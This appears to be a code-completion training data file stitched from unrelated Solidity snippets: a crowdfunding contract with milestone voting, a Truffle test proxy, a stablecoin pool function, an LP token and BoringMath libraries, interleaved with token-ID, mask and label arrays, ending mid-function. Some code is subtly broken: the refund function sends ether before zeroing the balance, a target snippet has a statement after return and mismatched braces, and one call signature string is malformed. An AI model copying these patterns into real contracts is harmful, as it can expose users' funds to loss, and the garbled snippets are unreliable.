projects[pro_id].milestones[mile_id].voters[msg.sender] = 1;
projects[pro_id].milestones[mile_id].yesCount++;
projects[pro_id].milestones[mile_id].noCount--;
}
else{
projects[pro_id].milestones[mile_id].voters[msg.sender] = 2;
projects[pro_id].milestones[mile_id].yesCount--;
projects[pro_id].milestones[mile_id].noCount++;
}
}
}
emit votedEvent(pro_id,mile_id,vote_val);
// return (projects[pro_id].milestones[mile_id].yesCount, projects[pro_id].milestones[mile_id].noCount);
}
/** @dev Function to get all projects' contract addresses.
* @return A list of all projects' contract addreses
*/
// function returnAllProjects() external view returns(Project[] memory){
// return projects;
// }
function contribute(uint id) external inState(id, State.Fundraising) payable returns(uint) {
emit debugging(1);
require(msg.sender != projects[id].creator, "Sender cant be creator");
projects[id].contributions[msg.sender] = projects[id].contributions[msg.sender].add(msg.value);
projects[id].currentBalance = projects[id].currentBalance.add(msg.value);
emit FundingReceived(msg.sender, msg.value, projects[id].currentBalance);
checkIfFundingComplete(id);
return id;
}
function checkIfFundingComplete(uint id) public {
if (projects[id].currentBalance >= projects[id].amountGoal) {
projects[id].state = State.Fundraised;
payOut(id, projects[id].initp);
}
// else if (now > projects[id].raiseBy) {
// projects[id].state = State.Failure;
// }
// projects[id].completeAt = now;
}
function payOut(uint id, uint perc) internal inState(id, State.Fundraised) returns (bool){
uint256 totalRaised = (projects[id].currentBalance).mul(perc)/100;
// projects[id].currentBalance = 0;
if (projects[id].creator.send(totalRaised)) {
emit CreatorPaid(projects[id].creator);
projects[id].refp = projects[id].refp.sub(perc);
return true;
} else {
// projects[id].currentBalance = totalRaised;
projects[id].state = State.Fundraised;
}
return false;
}
function getRefund(uint id) public inState(id, State.Failure) returns (bool){
require(projects[id].contributions[msg.sender] > 0);
uint amountToRefund = (projects[id].contributions[msg.sender]).mul(projects[id].refp)/100;
// projects[id].contributions[msg.sender] = 0;
if (!msg.sender.send(amountToRefund)) {
// projects[id].contributions[msg.sender] = currentBal;
return false;
} else {
projects[id].currentBalance = projects[id].currentBalance.sub(projects[id].contributions[msg.sender]);
projects[id].contributions[msg.sender] = 0;
}
return true;
}
}
// pragma solidity ^0.5.0;
// pragma experimental ABIEncoderV2;
// import "./SafeMath.sol";
// contract Crowdfunding {
// using SafeMath for uint256;
// // List of existing projects
// Project[] private projects;
// // Event that will be emitted whenever a new project is started
// event ProjectStarted(
// address contractAddress,
// address projectStarter,
// string projectTitle,
// string projectDesc,
// uint256 deadline,
// uint256 goalAmount
// );
// function startProject(
// string calldata title,
// string calldata description,
// uint durationInDays,
// uint amountToRaise
// ) external {
// uint raiseUntil = now.add(durationInDays.mul(1 days));
// Project newProject = new Project(msg.sender, title, description, raiseUntil, amountToRaise);
// projects.push(newProject);
// emit ProjectStarted(
// address(newProject),
// msg.sender,
// title,
// description,
// raiseUntil,
// amountToRaise
// );
// }
// function returnAllProjects() external view returns(Project[] memory){
// return projects;
// }
// }
// contract Project{
// struct Milestone {
// uint id;
// string desc;
// uint perc;
// uint day;
// }
// enum State{
// Fundraising,
// Successful,
// Expired
// }
// address payable public Creator;
// string public Title;
// string public Desc;
// uint public Inp;
// uint public Goal_amount;
// uint public CurrentBalance;
// uint public raiseBy;
// Milestone[] public milestones;
// State public state = State.Fundraising;
// mapping (address => uint) public Contributions;
// event FundingReceived(address contributor, uint amount, uint currentbalance);
// event CreatorPaid(address recipent);
// modifier inState(State _state){
// require(state == _state, "Incorrect state");
// _;
// }
// modifier isCreator(){
// require(msg.sender == Creator, "Not Creator");
// _;
// }
// constructor(
// address payable creator,
// string memory title,
// string memory description,
// uint deadline,
// uint req_amount,
// uint inp,
// Milestone[] memory miles
// ) public {
// Creator = creator;
// Title = title;
// Desc = description;
// Inp = inp;
// Goal_amount = req_amount;
// raiseBy = deadline;
// milestones = miles;
// CurrentBalance = 0;
// }
// function contribute() external inState(State.Fundraising) payable {
// require(msg.sender != Creator);
// Contributions[msg.sender] = Contributions[msg.sender].add(msg.value);
// CurrentBalance = CurrentBalance.add(msg.value);
// emit FundingReceived(msg.sender, msg.value, CurrentBalance);
// checkIfFundingCompleteOrExpired();
// }
// function checkIfFundingCompleteOrExpired() public {
// if (CurrentBalance >= Goal_amount){
// state = State.Successful;
// payOut();
// }
// else if (now > raiseBy){
// state = State.Expired;
// }
// }
// function payOut() internal inState(State.Successful) returns (bool){
// uint256 totalRaised = CurrentBalance;
// CurrentBalance = 0;
// if (Creator.transfer(totalRaised)){
// emit CreatorPaid(Creator);
// return true;
// }
// else{
// CurrentBalance = totalRaised;
// state = State.Successful;
// }
// return false;
// }
// function getRefund() public inState(State.Expired) returns (bool){
// require(Contributions[msg.sender] > 0, "Sorry you have not contributed for this project");
// uint refund_amount = Contributions[msg.sender];
// Contributions[msg.sender] = 0;
// if (!msg.sender.transfer(refund_amount)){
// Contributions[msg.sender] = refund_amount;
// return false;
// }
// else{
// CurrentBalance = CurrentBalance.sub(refund_amount);
// }
// return true;
// }
// function getDetails() public view returns
// (
// address payable creator,
// string memory title,
// string memory desc,
// uint256 deadline,
// State currentState,
// uint256 currentAmount,
// uint256 GoalAmount
// ){
// creator = creator;
// title = Title;
// desc = Desc;
// deadline = raiseBy;
// currentState = state;
// currentAmount = CurrentBalance;
// GoalAmount = Goal_amount;
// }
// }
| projects[id].currentBalance = 0; projects[id].currentBalance = totalRaised; | function payOut(uint id, uint perc) internal inState(id, State.Fundraised) returns (bool){
uint256 totalRaised = (projects[id].currentBalance).mul(perc)/100;
if (projects[id].creator.send(totalRaised)) {
emit CreatorPaid(projects[id].creator);
projects[id].refp = projects[id].refp.sub(perc);
return true;
projects[id].state = State.Fundraised;
}
return false;
}
| 7,294,628 | [
1,
13582,
63,
350,
8009,
2972,
13937,
273,
374,
31,
10137,
63,
350,
8009,
2972,
13937,
273,
2078,
12649,
5918,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
8843,
1182,
12,
11890,
612,
16,
2254,
26514,
13,
2713,
316,
1119,
12,
350,
16,
3287,
18,
42,
1074,
354,
5918,
13,
1135,
261,
6430,
15329,
203,
3639,
2254,
5034,
2078,
12649,
5918,
273,
261,
13582,
63,
350,
8009,
2972,
13937,
2934,
16411,
12,
457,
71,
13176,
6625,
31,
203,
203,
3639,
309,
261,
13582,
63,
350,
8009,
20394,
18,
4661,
12,
4963,
12649,
5918,
3719,
288,
203,
5411,
3626,
29525,
16507,
350,
12,
13582,
63,
350,
8009,
20394,
1769,
203,
5411,
10137,
63,
350,
8009,
1734,
84,
273,
10137,
63,
350,
8009,
1734,
84,
18,
1717,
12,
457,
71,
1769,
203,
5411,
327,
638,
31,
203,
5411,
10137,
63,
350,
8009,
2019,
273,
3287,
18,
42,
1074,
354,
5918,
31,
203,
3639,
289,
203,
3639,
327,
629,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >= 0.5.0 < 0.6.0;
import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";
import "../contracts/Stores.sol";
contract Proxy {
// the proxied Stores contract
Stores public stores;
/// @notice Create a Proxy
/// @param _target the Stores to interact with
constructor(Stores _target) public {
stores = _target;
}
/// Allow contract to receive ether
function() external payable {}
/// @notice Retrieve stores contract
/// @return the stores contract
function getTarget()
public
view
returns(Stores)
{
return stores;
}
/// @notice Add Store Owner
/// @param _owner the address to add as store owner
function addStoreOwner(address _owner)
public
returns(bool)
{
(bool success, ) = address(stores).call(abi.encodeWithSignature("addStoreOwner(address), _owner"));
return success;
}
/// @notice Return store balances
/// @return the store balance
function getBalance()
public
view
returns(bool)
{
(bool success, ) = address(stores).call(abi.encodeWithSignature("getBalance()"));
return success;
}
/// @notice Open Store
/// @param _name Name of the store
/// @param _owner Owner of the store
function openStore(string memory _name)
public
returns(bool)
{
(bool success, ) = address(stores).call(abi.encodeWithSignature("openStore(string memory)", _name));
return success;
}
}
| @notice Create a Proxy @param _target the Stores to interact with | constructor(Stores _target) public {
stores = _target;
}
| 6,442,770 | [
1,
1684,
279,
7659,
225,
389,
3299,
326,
20296,
455,
358,
16592,
598,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
3885,
12,
13125,
389,
3299,
13,
1071,
288,
203,
565,
9064,
273,
389,
3299,
31,
203,
225,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4fD4499867144c1878A8882483896ED937C7fe10/sources/Stc.sol | Iterate through all stc pools and calculate all value of collateral in all pools globally Exclude null addresses | function globalCollateralValue() public view returns (uint256) {
uint256 total_collateral_value_d18 = 0;
for (uint i = 0; i < stc_pools_array.length; i++){
if (stc_pools_array[i] != address(0)){
total_collateral_value_d18 = total_collateral_value_d18.add(StcPool(stc_pools_array[i]).collatDollarBalance());
}
}
return total_collateral_value_d18;
}
| 2,640,670 | [
1,
14916,
3059,
777,
384,
71,
16000,
471,
4604,
777,
460,
434,
4508,
2045,
287,
316,
777,
16000,
25654,
20760,
446,
6138,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2552,
13535,
2045,
287,
620,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
2078,
67,
12910,
2045,
287,
67,
1132,
67,
72,
2643,
273,
374,
31,
7010,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
384,
71,
67,
27663,
67,
1126,
18,
2469,
31,
277,
27245,
95,
7010,
5411,
309,
261,
334,
71,
67,
27663,
67,
1126,
63,
77,
65,
480,
1758,
12,
20,
3719,
95,
203,
7734,
2078,
67,
12910,
2045,
287,
67,
1132,
67,
72,
2643,
273,
2078,
67,
12910,
2045,
287,
67,
1132,
67,
72,
2643,
18,
1289,
12,
510,
71,
2864,
12,
334,
71,
67,
27663,
67,
1126,
63,
77,
65,
2934,
1293,
4801,
40,
25442,
13937,
10663,
203,
5411,
289,
203,
203,
3639,
289,
203,
3639,
327,
2078,
67,
12910,
2045,
287,
67,
1132,
67,
72,
2643,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42220/0x8B41a96dda19Ce082933a931eC414fFCd534B9C0/sources/contracts/Factory.sol | keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); | contract BlackfarmingERC20 is IBlackfarmingERC20 {
using SafeMath for uint;
string public constant name = 'BlackfarmingSwap LPs';
string public constant symbol = 'BLACKFARMING-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Blackfarming: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Blackfarming: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
| 16,359,162 | [
1,
79,
24410,
581,
5034,
2932,
9123,
305,
12,
2867,
3410,
16,
2867,
17571,
264,
16,
11890,
5034,
460,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2225,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
22467,
74,
4610,
310,
654,
39,
3462,
353,
467,
13155,
74,
4610,
310,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
203,
565,
533,
1071,
5381,
508,
273,
296,
13155,
74,
4610,
310,
12521,
511,
18124,
13506,
203,
565,
533,
1071,
5381,
3273,
273,
296,
14618,
3649,
42,
26120,
1360,
17,
14461,
13506,
203,
565,
2254,
28,
1071,
5381,
15105,
273,
6549,
31,
203,
565,
2254,
225,
1071,
2078,
3088,
1283,
31,
203,
565,
2874,
12,
2867,
516,
2254,
13,
1071,
11013,
951,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
1071,
1699,
1359,
31,
203,
203,
565,
1731,
1578,
1071,
27025,
67,
4550,
31,
203,
565,
1731,
1578,
1071,
5381,
10950,
6068,
67,
2399,
15920,
273,
374,
92,
26,
73,
11212,
329,
8906,
2138,
70,
21,
70,
10580,
74,
24,
72,
21,
74,
26,
4630,
7301,
3030,
74,
15168,
6260,
507,
22,
507,
8906,
1611,
5558,
22214,
69,
26035,
71,
1105,
5193,
25,
72,
26,
25452,
71,
29,
31,
203,
565,
2874,
12,
2867,
516,
2254,
13,
1071,
1661,
764,
31,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
460,
1769,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
460,
1769,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
2254,
2687,
548,
31,
203,
3639,
19931,
288,
203,
5411,
2687,
548,
519,
2687,
350,
203,
3639,
289,
203,
3639,
27025,
67,
4550,
273,
417,
24410,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUtil {
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IStakingProxy {
function getBalance() external view returns(uint256);
function withdraw(uint256 _amount) external;
function stake() external;
function distribute() external;
}
interface IRewardStaking {
function stakeFor(address, uint256) external;
function stake( uint256) external;
function withdraw(uint256 amount, bool claim) external;
function withdrawAndUnwrap(uint256 amount, bool claim) external;
function earned(address account) external view returns (uint256);
function getReward() external;
function getReward(address _account, bool _claimExtras) external;
function extraRewardsLength() external view returns (uint256);
function extraRewards(uint256 _pid) external view returns (address);
function rewardToken() external view returns (address);
function balanceOf(address _account) external view returns (uint256);
}
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
function to40(uint256 a) internal pure returns (uint40 c) {
require(a <= uint40(-1), "BoringMath: uint40 Overflow");
c = uint40(a);
}
function to112(uint256 a) internal pure returns (uint112 c) {
require(a <= uint112(-1), "BoringMath: uint112 Overflow");
c = uint112(a);
}
function to224(uint256 a) internal pure returns (uint224 c) {
require(a <= uint224(-1), "BoringMath: uint224 Overflow");
c = uint224(a);
}
function to208(uint256 a) internal pure returns (uint208 c) {
require(a <= uint208(-1), "BoringMath: uint208 Overflow");
c = uint208(a);
}
function to216(uint256 a) internal pure returns (uint216 c) {
require(a <= uint216(-1), "BoringMath: uint216 Overflow");
c = uint216(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint32 a, uint32 b) internal pure returns (uint32 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint112.
library BoringMath112 {
function add(uint112 a, uint112 b) internal pure returns (uint112 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint112 a, uint112 b) internal pure returns (uint112 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint112 a, uint112 b) internal pure returns (uint112 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint112 a, uint112 b) internal pure returns (uint112) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint224.
library BoringMath224 {
function add(uint224 a, uint224 b) internal pure returns (uint224 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint224 a, uint224 b) internal pure returns (uint224 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint224 a, uint224 b) internal pure returns (uint224 c) {
